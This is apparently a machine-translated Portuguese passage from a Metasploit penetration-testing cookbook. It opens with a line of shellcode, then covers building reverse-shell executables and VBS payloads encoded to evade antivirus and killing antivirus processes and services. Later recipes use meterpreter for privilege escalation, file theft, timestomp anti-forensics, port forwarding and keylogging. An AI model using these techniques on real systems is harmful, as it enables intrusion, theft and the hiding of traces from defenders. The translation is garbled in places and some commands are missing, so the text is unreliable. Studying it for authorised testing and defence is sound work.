"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
Observe o parâmetro C maiúsculo na linha de comando. Você notará um shellcode completo em linguagem C
que podemos usar em nosso próprio código de desenvolvimento de exploração. Alternativamente, também temos
a opção de gerar códigos em linguagem Ruby e Perl.
Vamos prosseguir para a próxima etapa de geração de um executável binário para o shellcode que pode ser
usado em nosso ataque do lado do cliente.
Opções: {"LHOST"=>"192.168.56.101"}
Observe os vários parâmetros que passamos na linha de comando. Utilizamos o parâmetro X para gerar um
arquivo do tipo exe e o arquivo foi gerado na pasta .local com o nome setup.exe. Este exe gerado agora pode ser
usado em nosso ataque do lado do cliente.
Como funciona...
Agora que nosso executável está pronto, teremos que configurar um ouvinte em nosso msfconsole para ouvir
uma conexão de retorno quando o destino executar este arquivo exe.
98
Machine Translated by Google
Capítulo 4
Observe que usamos a mesma carga útil e passamos os mesmos valores de parâmetro que usamos ao gerar o
executável. Agora nosso ouvinte está pronto para receber uma conexão reversa.
Depois que o usuário de destino (executando o Windows antes do Windows 7) executar o exe malicioso,
obteremos uma conectividade de shell.
O antivírus usa uma técnica baseada em assinatura na qual eles identificam uma ameaça potencial verificando as
primeiras linhas de código do arquivo com seu banco de dados de assinaturas. Se uma correspondência for
encontrada, o arquivo será tratado como uma ameaça. Teremos que explorar essa técnica de antivírus para
contorná-los. msfencode é uma ferramenta eficaz que codifica os shellcodes e os torna menos
detectável por antivírus. Existem inúmeras opções de codificação fornecidas pelo msfencode.
Há uma coisa importante a ter em mente antes de começar esta receita. O sucesso dessa receita depende de
dois fatores: o tipo de shellcode usado e o tipo de antivírus em execução na máquina de destino. Essa receita
envolve muita experimentação para verificar qual shell usar e que tipo de codificação pode ser usada para ignorar
um determinado tipo de antivírus. Aqui, temos dois alvos. Um está executando o Windows XP SP2 com o AVG 10
(versão gratuita) em execução e o outro é uma máquina Windows 7 Ultimate executando o ESET NOD32 (versão
completa e atualizada). Primeiro, discutiremos uma técnica simples que pode contornar antivírus antigos e não
atualizados, mas pode ser detectado pelas versões mais recentes dele. Em seguida, discutiremos outra técnica
que atualmente ignora qualquer antivírus disponível até o momento.
99
Machine Translated by Google
Preparando-se
msfencode geralmente é canalizado com o comando msfpayload para codificar o shellcode gerado por
ele. Isso reduz nossas etapas de trabalho. Vamos começar com msfencode primeiro.
A execução do comando msfencode –h lista vários parâmetros disponíveis para nós e msfencode
–l lista os vários estilos de codificação. Vamos dar uma olhada em cada um deles:
root@bt:~# msfencode -l
Codificadores de estrutura
==================
100
Machine Translated by Google
Capítulo 4
Codificador XOR
101
Machine Translated by Google
Caso 2: Agora vamos aumentar a complexidade desta codificação adicionando um modelo exe padrão do Windows
ao shell e também aumentando o número de iterações para codificação. Os modelos padrão nos ajudarão a criar
um arquivo menos suspeito vinculando o shellcode a um dos executáveis padrão do Windows, como calc.exe ou
cmd.exe. Os modelos do Windows estão disponíveis na pasta /opt/framework3/msf3/lib/msf/util/../../../data/
templates.
Você pode criar um modelo copiando qualquer executável padrão do Windows nesta pasta e usá-lo como
modelo. Nesta receita, copiei cmd.exe para esta pasta para usá-lo como modelo para meu shell. Então,
como será nossa linha de comando neste caso?
O único parâmetro extra neste caso é –x , que é usado para especificar um modelo executável
alternativo. Usamos cmd.exe como modelo, que é o executável padrão do Windows para o prompt de
comando. Também alteramos o estilo de codificação para shikata_ga_nai , que é classificado como
"Excelente" no msfencode. O número de iterações também foi aumentado para 20 neste caso. O executável
criado neste caso aparece como um executável cmd.exe (devido ao modelo) e ignora facilmente a proteção
antivírus do lado do cliente do alvo do Windows XP que está executando o AVG 10 antivírus. Infelizmente, foi
detectado como uma ameaça em nosso alvo Windows 7 executando a versão mais recente do NOD32.
Portanto, pode ser usado para ignorar as versões mais antigas de antivírus em execução em máquinas Windows.
O segundo problema com essa técnica é que ela falha ao iniciar um shell em máquinas com Windows 7/
Server 2008, mesmo que tenham proteção antivírus mais antiga. O shellcode falha na execução (por causa do
modelo) e, embora ignore o antivírus, ainda falha ao iniciar um shell em versões mais recentes do Windows.
Caso 3: Este caso irá superar as deficiências que encontramos no Caso 2. Neste caso, iremos gerar um script
do lado do cliente em vez de um arquivo executável. O conhecido script do lado do cliente para a plataforma
Windows é o visual basic script (.vbs). Essa técnica pode ser usada para ignorar qualquer antivírus conhecido até
o momento em execução nas versões mais recentes do Windows. A razão pela qual os scripts VB são uma arma
potencial para contornar o antivírus é que eles nunca são tratados como uma ameaça por programas antivírus e
esta é a razão pela qual suas assinaturas nunca correspondem ao arquivo de script VB. Vamos criar um script VB
malicioso usando msfpayload e msfencode.
102
Machine Translated by Google
Capítulo 4
Observe as pequenas mudanças na linha de comando. A única mudança é que exe foi substituído
por VBS e não usamos nenhum modelo para evitar falhas durante a execução do lado do cliente.
Essa técnica pode nos ajudar a ignorar a proteção antivírus de nossos alvos e nos fornecer
conectividade de shell. Podemos configurar um ouvinte usando o módulo multi/handler (discutido na
receita anterior) e aguardar uma conexão de retorno com os destinos assim que eles executarem o
script.
Como você deve ter notado até agora, esta receita é puramente baseada em experimentar
diferentes combinações de cargas e codificadores. Quanto mais você experimentar diferentes
combinações, maiores serão suas chances de obter sucesso. Há muitas coisas para explorar em
msfpayload e msfencode, então eu o encorajaria a experimentar ativamente diferentes experimentos
e descobrir suas próprias maneiras de contornar a proteção antivírus.
Como funciona...
Os codificadores são usados principalmente para ofuscar o script shellcode em um formato que não
pode ser reconhecido por antivírus. O codificador shikata_ga_nai usa a técnica polimórfica XOR na qual o
codificador usa gats gerados dinamicamente como codificadores. A razão que torna shikata_ga_nai popular
é que ele usa uma técnica de autodecodificação. A autodescriptografia significa que o software descriptografa
uma parte de si mesmo em tempo de execução. Idealmente, o software contém apenas um stub
descriptografador e o código criptografado. As iterações complicam ainda mais o processo de codificação
usando a mesma operação repetidas vezes para fazer o shellcode parecer completamente estranho aos
antivírus.
Tem mais...
Vamos encontrar uma maneira rápida de testar uma carga contra diferentes fornecedores de antivírus e
descobrir qual deles detecta nossa carga codificada.
103
Machine Translated by Google
O VirusTotal pode ser pesquisado em http://www.virustotal.com. Ele solicitará que você carregue o
arquivo que deseja verificar em vários produtos antivírus. Quando a digitalização estiver concluída, ele
retornará os resultados do teste.
Nesta receita, usaremos alguns dos scripts meterpreter disponíveis para nós durante uma sessão ativa.
Temos um capítulo inteiro dedicado aos scripts do meterpreter, então aqui darei apenas uma introdução
rápida aos scripts do meterpreter e alguns comandos úteis do meterpreter. Estaremos analisando
meterpreter em grande detalhe em nosso próximo capítulo.
104
Machine Translated by Google
Capítulo 4
Preparando-se
Vamos começar com uma rápida introdução ao meterpreter. Meterpreter é uma carga útil avançada que
aumenta muito o poder de execução de comandos na máquina de destino. É um interpretador de comandos
que funciona por injeção de DLL na memória e nos oferece muitas vantagens sobre os interpretadores de
comandos tradicionais (geralmente existe com códigos shell), pois é mais flexível, estável e extensível. Pode
funcionar como se várias cargas úteis estivessem trabalhando juntas na máquina de destino. Ele se comunica
pelo soquete stager e fornece uma API de rubi abrangente do lado do cliente. Podemos obter um shell
meterpreter usando as cargas disponíveis no diretório windows/meterpreter . Nesta receita, usaremos a carga
útil windows/meterpreter/reverse_tcp e nossa máquina de destino é o Windows 7 executando o antivírus ESET
NOD32.
Explorar alvo:
Nome de identificação
105
Machine Translated by Google
0 Alvo Curinga
meterpreter >
106
Machine Translated by Google
Capítulo 4
6. Nas colunas Nome e Caminho , podemos identificar facilmente os processos que pertencem
para uma instância de antivírus. No nosso caso, existem dois processos responsáveis pela proteção
antivírus no sistema de destino. Eles são egui.exe e eset.exe. Vamos ver como podemos usar o
Metasploit para matar esses processos.
Como funciona...
O Meterpreter fornece um script muito útil chamado killav.rb , que pode ser usado para eliminar os
processos antivírus em execução no sistema de destino e, assim, desativá-lo. Vamos tentar este script
em nosso alvo Windows 7 que está executando o antivírus ESET NOD32.
O comando run é usado para executar scripts Ruby no meterpreter. Após a execução do script,
podemos verificar novamente os processos em execução no destino para garantir que todos os
processos antivírus tenham sido eliminados. Se nenhum dos processos antivírus estiver em execução,
isso significa que o antivírus foi temporariamente desativado na máquina de destino e agora podemos
prosseguir com nosso processo de teste de penetração.
Mas e se os processos ainda estiverem em execução? Vamos descobrir a solução na próxima receita.
107
Machine Translated by Google
Preparando-se
Começaremos com a mesma sessão do meterpreter onde terminamos nossa receita anterior. Usamos o
script killav.rb uma vez, mas os processos antivírus ainda estão em execução. Podemos visualizar os
processos em execução usando o comando ps .
Como podemos ver, os dois processos antivírus ainda estão ativos mesmo depois de usar o script
killav.rb . Vamos começar dando uma olhada no script killav.rb .
108
Machine Translated by Google
Capítulo 4
root@bt: cd /pentest/exploits/framework3/scripts/meterpreter
2. vim é um editor rápido para arquivos no Unix. Ele abrirá todo o script em nossa tela. Role para baixo para
encontrar os vários processos listados nele. Esses são os processos que o script procura para matar.
Verifique a lista inteira para procurar eset.exe e egui.exe. Se eles não estiverem disponíveis, adicione os
dois processos no script. Para iniciar o modo de edição no vim, pressione a tecla a . Ele iniciará o modo de
inserção. Agora adicione os dois processos na lista de processos do script. @@exec_opts.parse(args) { |
opt, idx, val| opção de caso
quando h"
uso
fim
}
avs = %W{
egui.exe
case.exe
AAWTray.exe
Ad-Aware.exe
MSASCui.exe
_avp32.exe
:wq
109
Machine Translated by Google
5. A saída da execução do comando mostra que o script eliminou os dois processos com sucesso.
Agora, para verificar se todos os processos antivírus foram eliminados ou não, executaremos
novamente o comando ps para verificação cruzada (saída reduzida para caber).
meterpretr> ps
Você descobrirá que não há processos ativos para o antivírus ESET. Isso mostra que o script matou com
êxito o programa antivírus. Este exemplo mostra claramente como podemos aumentar a eficiência dos
scripts embutidos adicionando nossas próprias entradas a ele.
Como funciona...
Vamos dar uma olhada rápida no script killav.rb que usamos ativamente nesta receita.
O script contém toda uma lista de processos em uma matriz (%W) que ele procura na máquina de destino
para eliminar.
client.sys.process.get_processes().each do |x|
if (avs.index(x['nome'].downcase)) print_status("Eliminando
#{x['nome']}...") client.sys.process.kill(x['pid'])
fim
fim
As últimas linhas do código são autoexplicativas. O script procura uma correspondência para processos
em execução no sistema de destino com sua matriz. Quando uma correspondência é encontrada, ele usa
o processo. função kill para matar o processo. Esse loop continua até que todos os elementos da matriz
correspondam aos processos disponíveis.
110
Machine Translated by Google
Capítulo 4
Um processo é qualquer parte do software que está sendo executado em um computador. Alguns processos são iniciados
quando o computador inicializa, outros são iniciados manualmente quando necessário. Alguns processos são serviços que
publicam métodos para acessá-los, para que outros programas possam chamá-los conforme necessário. Um processo é
baseado no usuário, enquanto um serviço é baseado no sistema.
O antivírus também pode executar alguns componentes como um serviço, como filtros de e-mail, filtros de acesso à Web e
assim por diante. O script killav.rb não pode eliminar serviços. Portanto, mesmo que eliminemos os processos usando
killav.rb, o serviço antivírus os iniciará novamente imediatamente. Portanto, mesmo que o killav.rb esteja matando todos os
processos antivírus e eles ainda sejam listados toda vez que usamos o comando ps , pode-se concluir que algum
componente do antivírus está sendo executado como um serviço responsável por reiniciar os processos repetidamente.
Preparando-se
Começaremos com um cenário em que a máquina de destino é uma máquina com Windows 7 executando o antivírus
AVG 10. Estou assumindo que já temos uma sessão meterpreter ativa com a máquina de destino com privilégio
administrativo.
Canal 1 criado.
C:\WINDOWS\system32>
111
Machine Translated by Google
2. Agora, usaremos o comando tasklist para procurar várias tarefas disponíveis. Adicionar o parâmetro /SVC listará
apenas os processos que estão sendo executados como um serviço.
Como sabemos que a máquina de destino está usando o antivírus AVG, podemos adicionar uma pesquisa
curinga para listar apenas os serviços que pertencem a avg. Portanto, nossa linha de comando ficará assim:
Portanto, temos uma lista completa de serviços e processos para antivírus AVG. A próxima etapa
será emitir o comando taskkill para eliminar essas tarefas e desativar a proteção antivírus.
3. Podemos novamente dar uma pesquisa curinga para eliminar todas as tarefas que têm avg como o
nome do processo.
O parâmetro /F é usado para forçar o encerramento do processo. Isso acabará com os vários serviços antivírus em
execução na máquina de destino. Esta receita tem muitas áreas para explorar. Você pode encontrar alguns problemas,
mas eles podem ser superados seguindo o conjunto correto de comandos.
Como funciona...
Matar serviços da linha de comando simplesmente evoca chamadas para o sistema operacional que desativa o
serviço específico. Assim que tivermos uma sessão de shell ativa com nosso alvo, podemos evocar essas chamadas em
nome da linha de comando por meio de nosso shell.
Tem mais...
Vamos concluir esta receita com algumas notas finais sobre o que fazer se o serviço antivírus ainda estiver ativo.
112
Machine Translated by Google
Capítulo 4
113
Machine Translated by Google
Machine Translated by Google
Usando o Meterpreter
5
para explorar o
Alvo Comprometido
Neste capítulo, abordaremos o seguinte:
Introdução
Até agora, enfatizamos mais a fase de pré-exploração, na qual tentamos várias técnicas e explorações
para comprometer nosso alvo. Neste capítulo, enfatizaremos a fase de pós-exploração - o que podemos
fazer depois de explorar a máquina-alvo.
Metasploit fornece uma ferramenta de pós-exploração muito poderosa chamada meterpreter que nos
fornece muitos recursos que podem facilitar nossa tarefa de explorar a máquina de destino. Já vimos o
uso de meterpreter e pós-exploração no capítulo anterior sobre desvio de antivírus. Neste capítulo, vamos
entender em detalhes sobre meterpreter e como usá-lo como uma ferramenta potencial para a fase de
pós-exploração.
Machine Translated by Google
Temos usado cargas úteis para obter resultados específicos, mas elas têm uma grande desvantagem.
As cargas úteis funcionam criando novos processos no sistema comprometido.
Isso pode acionar alarmes nos programas antivírus e pode ser detectado facilmente. Além disso, uma carga
é limitada para executar apenas algumas tarefas específicas ou executar comandos específicos que o shell
pode executar. Para superar essas dificuldades, o meterpreter surgiu.
Meterpreter é um interpretador de comandos para Metasploit que atua como uma carga útil e funciona
usando injeção de DLL na memória e um formato de objeto compartilhado nativo. Funciona em contexto
com o processo explorado, portanto não cria nenhum processo novo. Isso o torna mais furtivo e poderoso.
Vamos dar uma olhada em como o meterpreter funciona. O diagrama a seguir mostra uma representação
passo a passo simples do carregamento do meterpreter:
Na primeira etapa, a exploração e a carga útil do primeiro estágio são enviadas para a máquina de
destino. Após a exploração, o stager liga-se ao alvo com uma tarefa específica e tenta se conectar de volta
ao msfconsole atacante e um canal de comunicação adequado é configurado. Agora o stager carrega a DLL.
msfconsole e envia a carga de injeção de DLL de segundo estágio. Após a injeção bem-sucedida, o MSF envia
a DLL do meterpreter para estabelecer um canal de comunicação adequado. Por fim, o meterpreter carrega
extensões como stdapi e priv. Todas essas extensões são carregadas por TLS/1.0 usando um protocolo TLV. O
Meterpreter usa comunicação criptografada com o usuário-alvo, outra grande vantagem de usá-lo. Vamos resumir
rapidamente as vantagens do meterpreter sobre payloads específicos:
f Funciona em contexto com o processo explorado, portanto não cria um novo processo
116
Machine Translated by Google
capítulo 5
f Utiliza um sistema de comunicação canalizado, para que possamos trabalhar com diversos
canais por vez
f Ele fornece uma plataforma para escrever extensões de forma rápida e fácil
Este capítulo é inteiramente dedicado a explorar a máquina de destino usando os vários comandos e scripts que o
meterpreter nos fornece. Começaremos analisando comandos comuns do meterpreter. Em seguida, prosseguiremos
com a configuração de diferentes canais de comunicação, uso de comandos de rede, detecção de chaves e assim por
diante. Por fim, discutiremos o script scraper meterpreter que pode criar um único diretório contendo várias informações
sobre o usuário de destino. Neste capítulo, vamos nos concentrar principalmente nos comandos e scripts que podem ser
úteis para explorar o sistema comprometido.
Então, vamos seguir em frente com as receitas para mergulhar mais fundo no meterpreter.
Preparando-se
Depois de comprometer a máquina de destino do Windows 7, teremos uma sessão meterpreter iniciada, pois
usamos a carga útil windows/meterpreter/bind_tcp . Vamos começar usando um simples ? comando que listará
todos os comandos meterpreter disponíveis, juntamente com uma breve descrição:
meterpreter > ?
Dê uma olhada rápida em toda a lista. Muitos dos comandos são autoexplicativos.
f background: Este comando é usado para definir a sessão atual como plano de fundo, para que possa
ser usada novamente quando necessário. Esse comando é útil quando há várias sessões ativas
do meterpreter.
117
Machine Translated by Google
f getuid: Este comando retorna o nome de usuário que está em execução, ou no qual invadimos, na
máquina de destino.
meterpreter > ps
0 [Processo do sistema]
1072 svchost.exe
f sysinfo: Este é um comando útil para verificar rapidamente as informações do sistema, como o
sistema operacional e a arquitetura.
Computador : DARKLORD-PC
Arquitetura : x86
Meterpreter : x86/win32
Canal 1 criado.
118
Machine Translated by Google
capítulo 5
f exit: Este comando é usado para encerrar uma sessão do meterpreter. Este comando
também pode ser usado para encerrar a sessão do shell e retornar ao meterpreter.
Estes foram alguns comandos de sistema úteis que podem ser usados para explorar o alvo comprometido para obter
mais informações sobre ele. Existem muitos outros comandos, que estou deixando para você experimentar e
explorar. Você deve ter notado como é fácil usar os comandos do meterpreter e explorar o alvo que, por sua vez, seria
uma tarefa difícil sem ele.
Em nossa próxima receita, vamos nos concentrar em alguns comandos avançados do meterpreter.
Como funciona...
O Meterpreter funciona como qualquer interpretador de comandos. Ele foi projetado para entender e responder a
várias chamadas de parâmetros por meio de comandos. Ele reside no contexto de um processo explorado/
comprometido e cria um sistema de comunicação cliente/servidor com a máquina do testador de penetração.
comando do medidor
processo do Processo
Canal de comunicação
medidor explorado
Resposta do Meterpreter Server
O diagrama anterior demonstra o funcionamento do meterpreter em poucas palavras. Uma vez configurado o canal de
comunicação, podemos enviar chamadas de comando ao servidor meterpreter para obter sua resposta de volta à nossa
máquina. Entenderemos a comunicação entre a máquina de pentest e o alvo comprometido com mais detalhes à
medida que avançamos neste capítulo.
119
Machine Translated by Google
OPÇÕES:
Como funciona...
Existem três técnicas diferentes pelas quais o comando getsystem tenta escalar o privilégio no
destino. O valor padrão 0 tenta todas as técnicas listadas, a menos que seja feita uma tentativa
bem-sucedida. Vamos dar uma olhada rápida nessas técnicas de escalonamento.
Um pipe nomeado é um mecanismo que permite que a comunicação entre processos para aplicativos
ocorra local ou remotamente. O aplicativo que cria o pipe é conhecido como servidor de pipe e o
aplicativo que se conecta ao pipe é conhecido como cliente de pipe. A representação é a capacidade
de um thread executar em um contexto de segurança diferente daquele do processo que possui o
thread. A representação permite que o thread do servidor execute ações em nome do cliente, mas
dentro dos limites do contexto de segurança do cliente. O problema surge quando o cliente tem mais
direitos que o servidor. Esse cenário criaria um ataque de escalonamento de privilégios chamado de
ataque de escalonamento de representação de canal nomeado .
120
Machine Translated by Google
capítulo 5
Cada usuário de um sistema operacional recebe um ID de token exclusivo. Este ID é usado para verificar os níveis de permissão
de vários usuários do sistema. A duplicação de token funciona copiando um ID de token de um usuário com privilégios mais altos
por um usuário com privilégios baixos. O usuário com privilégios mais baixos se comporta de maneira semelhante ao usuário com
privilégios mais altos e detém todos os direitos e autoridades do usuário com privilégios mais altos.
O exploit KiTrapOD foi lançado no início de 2010, afetando quase todos os sistemas operacionais que a Microsoft havia
feito até então. Quando o acesso a aplicativos de 16 bits é ativado em uma plataforma x86 de 32 bits, ele não valida corretamente
determinadas chamadas do BIOS. Isso permite que os usuários locais obtenham privilégios criando uma estrutura de dados
VDM_TIB no Thread Environment Block (TEB), para lidar com exceções envolvendo o manipulador de trap #GP (nt!KiTrap0D),
também conhecido como
"Vulnerabilidade do manipulador de exceções do kernel do Windows."
Agora que entendemos as várias técnicas de escalonamento usadas pelo comando getsystem , nossa próxima etapa será
executar o comando em nosso destino para ver o que acontece.
Primeiro, usaremos o comando getuid para verificar nosso ID de usuário atual e, em seguida, tentaremos escalar nosso privilégio
usando o comando getsystem :
Como você pode ver, anteriormente éramos um usuário menos privilegiado e, depois de usar o comando getsystem , aumentamos
nosso privilégio para o usuário do sistema.
O próximo comando meterpreter importante que discutiremos é o comando migration . Este comando é usado para
migrar de um contexto de processo para outro. Este comando é útil em situações em que o processo atual, no qual
quebramos, pode travar. Por exemplo, se usarmos uma exploração do navegador para penetrar no sistema, o navegador pode
travar após a exploração e o usuário pode fechá-lo. Portanto, migrar para um processo de sistema estável pode nos ajudar a
realizar nossos testes de penetração sem problemas. Podemos migrar para qualquer outro processo ativo usando o ID do
processo. O comando ps pode ser usado para identificar o ID de todos os processos ativos.
Por exemplo, se o ID de explorer.exe for 2084, podemos migrar para explorer.exe executando o seguinte comando:
121
Machine Translated by Google
Esses dois comandos do meterpreter são muito úteis e são usados com frequência durante testes de
penetração. Sua simplicidade e alta produtividade os tornam ideais para uso. Em nossa próxima
receita trataremos dos canais de comunicação e como utilizá-los de forma eficaz para se comunicar
com o público-alvo.
Vamos agora analisar como configurar vários canais de comunicação com a máquina de destino
usando o meterpreter.
Preparando-se
O Meterpreter nos fornece um comando específico chamado execute , que pode ser usado para iniciar
vários canais de comunicação. Para começar, vamos executar o comando execute –h para ver as
opções disponíveis:
OPÇÕES:
-h Menu de ajuda.
-eu Interaja com o processo depois de criá-lo.
122
Machine Translated by Google
capítulo 5
Você pode ver os vários parâmetros disponíveis para nós com o comando execute . Vamos usar
alguns desses parâmetros na configuração de vários canais.
Canal 1 criado.
Agora temos três canais diferentes rodando simultaneamente na máquina da vítima. Para listar
os canais disponíveis, podemos usar o comando channel –l . Se quisermos enviar algum dado ou
escrever algo em um canal, podemos usar o comando write seguido do ID do canal que queremos
escrever. Vamos em frente e escrever uma mensagem em um de nossos canais ativos:
Metasploit!!
.
123
Machine Translated by Google
A execução do comando de gravação junto com o ID do canal nos levou a inserir nossos dados seguidos de
um ponto. Escrevemos o Metasploit com sucesso!! no canal. Para ler os dados de qualquer canal, podemos
usar o comando read seguido do ID do canal.
Além disso, se quisermos interagir com qualquer canal, podemos usar o comando interact seguido do ID do canal:
C:\Usuários\DARKLORD\Desktop>
Como você pode ver, nosso canal 2 era um canal de prompt de comando, portanto, ao usar o comando
interact , fomos diretamente para o modo de prompt de comando, de onde podemos executar comandos do
sistema. Podemos alternar facilmente entre os canais usando o comando interact . Para encerrar um canal,
podemos usar o comando close seguido do ID do canal.
Esta receita demonstra o poder de usar vários canais. Também mostra como é fácil gerenciá-los simultaneamente
e alternar entre diferentes canais. O uso de canais torna-se importante quando estamos executando vários serviços
na máquina de destino.
Na próxima receita, vamos nos concentrar em explorar o sistema de arquivos da máquina de destino
usando o meterpreter.
Como funciona...
O Metasploit marca cada mensagem com um ID de canal separado, o que o ajuda a identificar o contexto do
canal no qual o comando específico deve ser executado. Conforme declarado anteriormente, o processo de
comunicação no meterpreter segue o protocolo TLV, que oferece a flexibilidade de marcar mensagens diferentes
com IDs de canal específicos para fornecer suporte à comunicação multicanal.
124
Machine Translated by Google
capítulo 5
Como você pode ver, primeiro listamos nosso diretório de trabalho usando o comando pwd e depois alteramos
nosso diretório de trabalho para c: usando o comando cd . Também podemos usar o comando ls para listar os
arquivos disponíveis no diretório atual.
Agora que podemos trabalhar com diretórios, nossa próxima tarefa será procurar arquivos na unidade.
Será muito tedioso navegar em todos os diretórios e subdiretórios para procurar arquivos. Podemos usar o comando de
pesquisa para pesquisar rapidamente tipos de arquivos específicos. Considere o seguinte exemplo:
Este comando procurará todos os arquivos na unidade C tendo .doc como extensão de arquivo. O parâmetro –f é
usado para especificar o padrão de arquivo a ser pesquisado e o parâmetro –d informa ao diretório qual arquivo deve
ser pesquisado.
Portanto, depois de pesquisar nosso arquivo específico, a próxima coisa que podemos fazer é baixar o arquivo
localmente na máquina de destino. Vamos primeiro tentar baixar o arquivo para o nosso sistema de ataque:
Usando o comando download , podemos baixar com sucesso qualquer arquivo da máquina de destino para nossa
máquina. O arquivo d:\secret.doc é baixado na pasta raiz da nossa máquina de ataque.
Da mesma forma, podemos usar o comando upload para enviar qualquer arquivo para a máquina de destino:
125
Machine Translated by Google
Por fim, podemos usar o comando del para excluir um arquivo ou diretório da máquina de destino.
Como funciona...
O Meterpreter nos dá acesso completo à máquina de destino configurando um prompt de
comando interativo. Também podemos descartar uma sessão de shell para funcionar no modo
DOS do Windows padrão, mas não terá tantas funcionalidades. Esta foi uma referência rápida a
alguns dos comandos importantes do sistema de arquivos do meterpreter, que podem nos ajudar a
explorar os arquivos presentes na máquina de destino. Existem mais comandos também; é
recomendável experimentá-los e descobrir as várias possibilidades que podem existir.
Na próxima receita, veremos um comando meterpreter muito interessante chamado timestomp , que
pode ser usado para modificar os atributos do arquivo na máquina de destino.
Preparando-se
Antes de começar com a receita, há uma pergunta que pode surgir em sua mente. Por que alterar os
valores MACE? Os hackers geralmente usam a técnica de alterar os valores do MACE para fazer com
que o usuário-alvo sinta que o arquivo está presente no sistema há muito tempo e que não foi tocado
ou modificado. Em caso de atividade suspeita, os administradores podem verificar se há arquivos
modificados recentemente para descobrir se algum dos arquivos foi modificado ou acessado. Assim,
usando esta técnica, o arquivo não aparecerá na lista de itens acessados ou modificados recentemente.
Embora existam outras técnicas também, para descobrir se os atributos do arquivo foram modificados,
esta técnica ainda pode ser útil.
Vamos pegar um arquivo da máquina de destino e alterar seus atributos MACE. A captura de tela
a seguir mostra os vários valores MACE de um arquivo antes de usar timestomp:
126
Machine Translated by Google
capítulo 5
Agora vamos avançar para alterar os vários valores MACE. Vamos começar com o comando
comum timestomp –h que é usado para listar as várias opções disponíveis. Podemos usar o
operador –v para listar os valores dos atributos MACE:
127
Machine Translated by Google
Como funciona...
O operador –c é usado para alterar a hora de criação do arquivo. Da mesma forma, podemos usar os operadores
–m e –a para alterar os atributos modificados e acessados por último do arquivo:
Uma vez alterados os atributos, podemos novamente usar o operador –v para verificar e verificar se executamos os comandos
com sucesso ou não. Vamos seguir em frente e verificar os atributos do arquivo novamente:
Bingo! Modificamos com sucesso os atributos MACE do arquivo. Agora, esse arquivo pode ser facilmente ocultado da
lista de arquivos modificados ou acessados recentemente.
Como alternativa, também podemos usar o operador –z para alterar todos os quatro valores MACE de uma só vez.
Não precisaremos passar os comandos separadamente para cada um deles. Mas o operador –z atribuirá os mesmos valores
a todos os quatro atributos MACE, o que praticamente não é possível. Tem que haver alguma diferença de tempo entre a
criação e o tempo de acesso. Portanto, o uso do operador –z deve ser evitado.
Esta foi uma pequena receita lidando com o utilitário timestomp . Na próxima receita, veremos alguns dos comandos de rede
meterpreter úteis que serão de grande utilidade para nós quando entendermos o pivotamento.
128
Machine Translated by Google
capítulo 5
executar o pivotamento. Pivoting é um conceito pelo qual podemos comprometer outras máquinas na mesma rede em
que nosso alvo está presente. Entenderemos o pivotamento em nosso próximo capítulo, onde focaremos no uso
avançado do meterpreter.
Preparando-se
Antes de entrarmos na receita, existem três termos de rede que encontraremos aqui.
Então, vamos dar uma pincelada rápida em nossa memória, observando os seguintes termos:
f Uma máscara de rede é uma máscara de 32 bits usada para dividir um endereço IP em sub-redes e
especifique os hosts disponíveis da rede.
O comando Ipconfig é usado para exibir todas as configurações de rede TCP/IP da máquina de destino. Ele lista informações
como endereço IP de destino, hardware MAC e máscara de rede:
confiança
Como você pode ver, a saída de ipconfig lista as várias configurações de TCP/IP ativas.
129
Machine Translated by Google
O próximo comando de rede é o comando route . É semelhante ao comando route do MS DOS. Este comando é
usado para exibir ou modificar a tabela de roteamento IP local na máquina de destino. A execução do comando route
lista a tabela atual:
Rotas de rede
================
Vamos executar o comando route –h para descobrir como podemos modificar a tabela.
Se você observar a saída do comando ipconfig , poderá descobrir que o endereço IP 115.242.228.85 é usado
pelo destino para se conectar à Internet. Assim, podemos adicionar um valor de rota para passar a conexão por
meio de 115.242.228.85 como gateway. Isso pode nos fornecer um desvio de firewall na máquina de destino:
130
Machine Translated by Google
capítulo 5
Da mesma forma, podemos usar o comando delete para remover uma rota da tabela.
Vamos para o último comando de rede — portfwd. Este comando é usado para encaminhar conexões TCP e/ou UDP recebidas
para hosts remotos. Considere o exemplo a seguir para entender o encaminhamento de porta.
Considere o host "A", o host "B" (no meio) e o host "C". O host A deve se conectar ao host C para fazer algo, mas se por algum
motivo não for possível, o host B pode se conectar diretamente ao C. Se usarmos o host B no meio, para obter o fluxo de
conexão de A e passá-lo para B enquanto cuida da conexão, dizemos que o host B está fazendo o encaminhamento de porta.
É assim que as coisas aparecerão na rede: o host B está executando um software que abre um ouvinte TCP em uma de suas portas,
digamos, a porta 20. O host C também está executando um ouvinte que é usado para se conectar ao host B quando um pacote
chega da porta 20. Portanto, se A enviar qualquer pacote na porta 20 de B, ele será encaminhado automaticamente para o host C.
Portanto, o host B está encaminhando seus pacotes para o host C.
Como funciona...
Para iniciar o encaminhamento de porta com um host remoto, podemos adicionar uma regra de encaminhamento primeiro.
Considere a seguinte linha de comando:
Observe os diferentes parâmetros de comando. Com o parâmetro –a podemos adicionar uma nova regra de encaminhamento
de porta. O parâmetro -L define o endereço IP ao qual vincular um soquete encaminhado. Como estamos executando tudo isso
no host A e queremos continuar nosso trabalho no mesmo host, definimos o endereço IP como 127.0.0.1.
-l é o número da porta que será aberta no host A, para aceitar conexões de entrada. -h define o endereço IP do host C ou
qualquer outro host dentro da rede interna. -p é a porta à qual você deseja se conectar, no host C.
Esta foi uma demonstração simples do uso do encaminhamento de porta. Essa técnica é usada ativamente para contornar firewalls
e sistemas de detecção de intrusão.
131
Machine Translated by Google
Desktops
========
0 Padrão WinSta0
0 WinSta0 Desconectar
0 WinSta0 Winlogon
0 SAWinSta SADesktop
Aqui você pode ver que todas as estações de trabalho disponíveis estão associadas à sessão 0. Veremos em
breve o que exatamente queremos dizer com sessão 0.
f getdesktop: Este comando retorna a área de trabalho atual na qual nossa sessão meterpreter está funcionando.
Sessão 0\Serviço-0x0-3e7$\Padrão
Você pode relacionar a saída do comando getdesktop com enumdesktops para entender sobre a
estação de trabalho atual na qual estamos trabalhando.
f setdesktop: Este comando é usado para alterar a área de trabalho do meterpreter atual para outra estação de
área de trabalho disponível.
f keyscan_start: Este comando é usado para iniciar o sniffer de pressionamento de tecla na estação de trabalho
ativa atual.
Vamos agora analisar como esses comandos funcionam em um cenário de tempo real e como podemos farejar as teclas
digitadas em diferentes estações de trabalho.
132
Machine Translated by Google
capítulo 5
Como funciona...
Antes de prosseguirmos com a receita, veremos um conceito importante sobre a área de trabalho do
Windows.
